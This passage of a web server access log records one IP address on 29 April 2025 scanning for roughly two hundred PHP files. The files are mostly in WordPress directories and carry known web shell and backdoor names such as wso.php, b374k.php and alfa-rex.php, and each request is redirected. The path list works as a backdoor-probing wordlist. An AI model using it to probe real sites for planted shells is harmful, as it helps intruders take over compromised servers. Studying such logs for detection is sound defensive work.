301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:39 -0400] "GET /wp-includes/js/jcrop/sx.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:40 -0400] "GET /.well-known/pki-validation/LA.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:40 -0400] "GET /wp-content/plugins/WordPressCore/smaxx.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:41 -0400] "GET /wp-includes/customize/themes.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:41 -0400] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:42 -0400] "GET /cgi-bin/install.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:42 -0400] "GET /wp-content/upgrade/upfile.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:43 -0400] "GET /wp-includes/images/wlw/libcore.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:43 -0400] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:44 -0400] "GET /wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:45 -0400] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:45 -0400] "GET /wp-content/uploads/gfwisone.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:46 -0400] "GET /wp-content/uploads/wp-login.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:46 -0400] "GET /wp-includes/block-patterns/admin.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:47 -0400] "GET /wp-includes/product.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:47 -0400] "GET /wp-admin/css/colors/blue/blkqvmih.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:48 -0400] "GET /assets/css/403.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:49 -0400] "GET /.tmb/class_api.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:49 -0400] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:50 -0400] "GET /de/internet.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:50 -0400] "GET /wp-admin/css/colors/admin.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:51 -0400] "GET /wp-content/plugins/instabuilder2/cache/plugins/moon.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:51 -0400] "GET /wp-includes/customize/class-wp-customize-sidebar-secure.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:52 -0400] "GET /wp-content/upgrade/sx.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:52 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/sx.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:53 -0400] "GET /wp-content/uploads/wp-booter.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:53 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:54 -0400] "GET /.well-known/sx.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:55 -0400] "GET /include/bussubmit.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:55 -0400] "GET /wp-admin/atomlib.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:56 -0400] "GET /wp-content/themes/seotheme/db.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:56 -0400] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:57 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:58 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:58 -0400] "GET /wp-admin/css/colors/coffee/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:59 -0400] "GET /wp-content/plugins/envato-market/inc/class-envato-market-github.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:59 -0400] "GET /wp-includes/sx.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:00 -0400] "GET /wp-includes/rest-api/endpoints/html.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:00 -0400] "GET /wp-includes/blocks/table/int/tmpl/index.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:01 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:02 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:02 -0400] "GET /wp-content/uploads/error_log.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:03 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:04 -0400] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:05 -0400] "GET /wp-admin/images/thumbs.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:06 -0400] "GET /wp-includes/Text/Diff/Engine/com_search.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:07 -0400] "GET /css/sgd.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:07 -0400] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:08 -0400] "GET /wp-includes/Requests/library/about.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:08 -0400] "GET /wp-admin/images/sx.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:09 -0400] "GET /.well-known/acme-challenge/adminfuns.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:10 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:10 -0400] "GET /init.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:11 -0400] "GET /wp-admin/images/profile.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:11 -0400] "GET /wp-includes/IXR/core.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:12 -0400] "GET /assets/images/1p.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:13 -0400] "GET /img/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:13 -0400] "GET /admin-footer.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:14 -0400] "GET /.well-known/pki-validation/101d2ae2-f2f3-4977-b35d-b3a0ad74a469.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:14 -0400] "GET /wp-content/plugins/fix/3.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:15 -0400] "GET /wp-content/sx.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:15 -0400] "GET /wp-content/plugins/custom/issue.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:16 -0400] "GET /user-edit.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:17 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:17 -0400] "GET /wp-cli.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:18 -0400] "GET /wp-content/uploads/options-writing.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:18 -0400] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:19 -0400] "GET /wp-content/plugins/seoo/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:20 -0400] "GET /wp-includes/rest-api/network.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:20 -0400] "GET /wp-admin/css/colors/light/Admin-Author.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:21 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:21 -0400] "GET /.well-known/pki-validation/mar.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:22 -0400] "GET /assets/x.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:22 -0400] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:23 -0400] "GET /wp-includes/assets/script-loader.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:24 -0400] "GET /img/cloud.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:24 -0400] "GET /wp-includes/IXR/themes.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:25 -0400] "GET /wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:26 -0400] "GET /alfanew.PhP7 HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:26 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:27 -0400] "GET /wp-admin/images/wp-settings.phtml HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:27 -0400] "GET /.well-known/upfile.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:28 -0400] "GET /assets/wp-blog.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:29 -0400] "GET /ayk.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:29 -0400] "GET /wp-admin/css/colors/blue/blkdimxx.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:30 -0400] "GET /wp-includes/IXR/wp-login.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:30 -0400] "GET /wp-content/uploads/7.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:31 -0400] "GET /images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:32 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:32 -0400] "GET /.well-known/pki-validation/ckyocyyp.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:33 -0400] "GET /wp-includes/SimplePie/Exception-class.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:34 -0400] "GET /wp-content/uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:34 -0400] "GET /chtmlfuns.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:35 -0400] "GET /.well-known/acme-challenge/doc.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:36 -0400] "GET /wp-content/plugins/background-image-cropper/ups.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:36 -0400] "GET /wp-admin/css/colors/blue/CasperExV1.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:38 -0400] "GET /images/headers/strenms.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:38 -0400] "GET /.well-known/pki-validation/dropdown.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:39 -0400] "GET /wp-content/uploads/--wp-lgj.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:39 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:40 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:41 -0400] "GET /wp-content/upgrade/edit-links.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:41 -0400] "GET /wp-content/plugins/widget-logic/ui.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:42 -0400] "GET /wp-includes/Requests/Exception/content.php.suspected HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:42 -0400] "GET /nav-menus.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:43 -0400] "GET /wp-content/plugins/masterx/wpx.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:44 -0400] "GET /.well-known/zxhfwqyt.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:44 -0400] "GET /images/server.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:45 -0400] "GET /css/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:45 -0400] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:46 -0400] "GET /.well-known/pki-validation/sx.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:46 -0400] "GET /.well-known/acme-challenge/fond.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:47 -0400] "GET /.well-known/caches.php.suspected HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:47 -0400] "GET /.well-known/acme-challenge/sx.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:48 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/a.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:48 -0400] "GET /wp-content/smaxx.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:49 -0400] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:49 -0400] "GET /.well-known/wso.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:50 -0400] "GET /wp-content/plugins/dzs-zoomsounds/error_log_1210678535.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:50 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:51 -0400] "GET /wp-admin/images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:52 -0400] "GET /wp-admin/css/colors/ectoplasm/x.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:52 -0400] "GET /wp-content/uploads/cache.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:53 -0400] "GET /wp-admin/sx.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:54 -0400] "GET /wp-includes/PHPMailer/admin.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:54 -0400] "GET /.well-known/acme-challenge/wp-login.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:55 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/jasmine.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:56 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:56 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:57 -0400] "GET /wp-content/uploads/json.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:57 -0400] "GET /wp-includes/js/crop/mart.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:58 -0400] "GET /wp-content/plugins/press/wp-class.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:59 -0400] "GET /ALFA_DATA/alfacgiapi/shell.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:35:59 -0400] "GET /wp-content/plugins/fix/sx.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:00 -0400] "GET /wp-includes/blocks/sx.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:00 -0400] "GET /wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:01 -0400] "GET /wp-includes/defaults.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:01 -0400] "GET /wp-includes/Requests/dropdown.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:02 -0400] "GET /hinfofuns.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:02 -0400] "GET /wp-content/themes/plugins.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:03 -0400] "GET /wp-content/themes/wp-classic/inc/index.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:04 -0400] "GET /media-new.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:04 -0400] "GET /wp-content/plugins/WordPressCore/swvhvgnq.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:05 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:06 -0400] "GET /.well-known/pki-validation/a.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:06 -0400] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:07 -0400] "GET /wp-content/uploads/wp-login.php.suspected HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:08 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:08 -0400] "GET /wp-includes/js/crop/crop.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:09 -0400] "GET /wp-content/plugins/core-plugin/smaxx.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:09 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:10 -0400] "GET /.well-known/bek.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:11 -0400] "GET /wp-content/uploads/2023/05/404.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:11 -0400] "GET /.well-known/pki-validation/Newsupway.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:12 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/info.php.suspected HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:12 -0400] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:13 -0400] "GET /index.php.suspected HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:13 -0400] "GET /wp-includes/sts.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:14 -0400] "GET /.well-known/amaxx.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:15 -0400] "GET /wp-includes/ID3/wp-login.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:15 -0400] "GET /wp-content/uploads/2023/gncfqygn.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:16 -0400] "GET /.wp-cli/wp-login.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:16 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:17 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:17 -0400] "GET /wp-includes/qw.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:18 -0400] "GET /wp-includes/ID3/sx.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:19 -0400] "GET /new/transjule.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:19 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:20 -0400] "GET /filefuns.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:21 -0400] "GET /images/admin.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:21 -0400] "GET /wp-includes/sitemaps/providers/class-wp-sitemaps-admin.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:22 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:22 -0400] "GET /wp-content/plugins/seoo/ulc2.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:23 -0400] "GET /.tmb/admin.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:24 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:24 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:25 -0400] "GET /wp-api.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:25 -0400] "GET /wp-includes/theme-compat/border.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:26 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:27 -0400] "GET /wp-content/themes/twentyfive/smaxx.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:27 -0400] "GET /wp-includes/IXR/admin.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:28 -0400] "GET /xt/index.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:28 -0400] "GET /edit-comments.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:29 -0400] "GET /wp-content/plugins/wp-hps/sh/b374k.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:29 -0400] "GET /0z.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:30 -0400] "GET /wp-content/plugins/backup-backup/includes/1a895fa06f.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:31 -0400] "GET /.well-known/pki-validation/content.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:31 -0400] "GET /wp-includes/customize/chosen.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:32 -0400] "GET /assets/fonts/admin.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:32 -0400] "GET /wp-includes/IXR/moon.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:33 -0400] "GET /wp-includes/plugins.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:33 -0400] "GET /wp-includes/css/core.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:34 -0400] "GET /wp-content/plugins/apikey/mar.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:34 -0400] "GET /index1.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:35 -0400] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:36 -0400] "GET /assets/bypass.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:36 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:37 -0400] "GET /wp-content/uploads/2014/03/smile.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:38 -0400] "GET /wp-includes/IXR/sx.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:38 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:39 -0400] "GET /wp-admin/css/colors/blue/blkhfvco.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:39 -0400] "GET /wp-content/plugins/smaxx.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:40 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:41 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:41 -0400] "GET /.well-known/pki-validation/fond.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:42 -0400] "GET /wp-admin/css/colors/sunrise/about.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:42 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:43 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:43 -0400] "GET /wp-content/plugins/WordPressCore/blkfqnikz.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:44 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:44 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:45 -0400] "GET /wp-admin/network/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:45 -0400] "GET /cgi-bin/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:46 -0400] "GET /wp-includes/bmccxior.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:36:47 -0400] "GET /wp-includes/pomo/fgertreyersd.php.suspected HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - 